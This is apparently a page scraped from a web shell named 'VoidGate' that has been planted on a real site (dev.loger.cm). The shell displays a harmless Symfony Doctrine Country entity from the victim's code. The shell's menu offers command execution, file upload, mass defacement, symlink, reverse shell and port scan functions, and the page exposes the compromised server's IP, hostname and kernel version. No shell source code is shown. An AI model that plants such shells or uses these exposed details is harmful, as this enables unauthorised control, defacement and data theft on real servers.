ヤミRoot VoidGate
User / IP
:
216.73.216.84
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Entity
/
Viewing: Country.php
<?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\CountryRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=CountryRepository::class) */ class Country { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=255,unique=true) */ private $countryName; /** * @ORM\OneToOne(targetEntity=MediaObject::class, cascade={"persist", "remove"}) */ private $countryFlag; /** * @ORM\Column(type="datetime") */ private $createdAt; /** * @ORM\OneToMany(targetEntity=Town::class, mappedBy="country") */ private $towns; /** * @ORM\Column(type="string", length=255,unique=true) */ private $code; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $capital; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $callingCode; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $region; /** * @ORM\Column(type="integer") */ private $population; /** * @ORM\Column(type="string", length=255) */ private $timeZone; /** * @ORM\Column(type="decimal", precision=30, scale=10, nullable=true) */ private $latitude; /** * @ORM\Column(type="decimal", precision=30, scale=10, nullable=true) */ private $longitude; /** * @ORM\Column(type="integer", nullable=true) */ private $offset; /** * @ORM\OneToMany(targetEntity=PaymentOption::class, mappedBy="country") */ private $paymentOptions; /** * @ORM\OneToMany(targetEntity=PaymentProvider::class, mappedBy="country") */ private $paymentProviders; public function __construct() { $this->salePoints = new ArrayCollection(); $this->createdAt = new \DateTime( ); $this->towns = new ArrayCollection(); $this->paymentOptions = new ArrayCollection(); $this->paymentProviders = new ArrayCollection(); } public function getId(): ?int { return $this->id; } public function getCountryName(): ?string { return $this->countryName; } public function setCountryName(string $countryName): self { $this->countryName = $countryName; return $this; } public function getCountryFlag(): ?MediaObject { return $this->countryFlag; } public function setCountryFlag(?MediaObject $countryFlag): self { $this->countryFlag = $countryFlag; return $this; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } /** * @return Collection|Town[] */ public function getTowns(): Collection { return $this->towns; } public function addTown(Town $town): self { if (!$this->towns->contains($town)) { $this->towns[] = $town; $town->setCountry($this); } return $this; } public function removeTown(Town $town): self { if ($this->towns->contains($town)) { $this->towns->removeElement($town); // set the owning side to null (unless already changed) if ($town->getCountry() === $this) { $town->setCountry(null); } } return $this; } public function getCode(): ?string { return $this->code; } public function setCode(string $code): self { $this->code = $code; return $this; } public function getCapital(): ?string { return $this->capital; } public function setCapital(?string $capital): self { $this->capital = $capital; return $this; } public function getCallingCode(): ?string { return $this->callingCode; } public function setCallingCode(?string $callingCode): self { $this->callingCode = $callingCode; return $this; } public function getRegion(): ?string { return $this->region; } public function setRegion(?string $region): self { $this->region = $region; return $this; } public function getPopulation(): ?string { return $this->population; } public function setPopulation(string $population): self { $this->population = $population; return $this; } public function getTimeZone(): ?string { return $this->timeZone; } public function setTimeZone(string $timeZone): self { $this->timeZone = $timeZone; return $this; } public function getLatitude(): ?string { return $this->latitude; } public function setLatitude(?string $latitude): self { $this->latitude = $latitude; return $this; } public function getLongitude(): ?string { return $this->longitude; } public function setLongitude(?string $longitude): self { $this->longitude = $longitude; return $this; } public function __toString() { // TODO: Implement __toString() method. return $this->countryName; } public function getOffset(): ?int { return $this->offset; } public function setOffset(?int $offset): self { $this->offset = $offset; return $this; } /** * @return Collection<int, PaymentOption> */ public function getPaymentOptions(): Collection { return $this->paymentOptions; } public function addPaymentOption(PaymentOption $paymentOption): self { if (!$this->paymentOptions->contains($paymentOption)) { $this->paymentOptions[] = $paymentOption; $paymentOption->setCountry($this); } return $this; } public function removePaymentOption(PaymentOption $paymentOption): self { if ($this->paymentOptions->removeElement($paymentOption)) { // set the owning side to null (unless already changed) if ($paymentOption->getCountry() === $this) { $paymentOption->setCountry(null); } } return $this; } /** * @return Collection<int, PaymentProvider> */ public function getPaymentProviders(): Collection { return $this->paymentProviders; } public function addPaymentProvider(PaymentProvider $paymentProvider): self { if (!$this->paymentProviders->contains($paymentProvider)) { $this->paymentProviders[] = $paymentProvider; $paymentProvider->setCountry($this); } return $this; } public function removePaymentProvider(PaymentProvider $paymentProvider): self { if ($this->paymentProviders->removeElement($paymentProvider)) { // set the owning side to null (unless already changed) if ($paymentProvider->getCountry() === $this) { $paymentProvider->setCountry(null); } } return $this; } }
Coded With 💗 by
0x6ick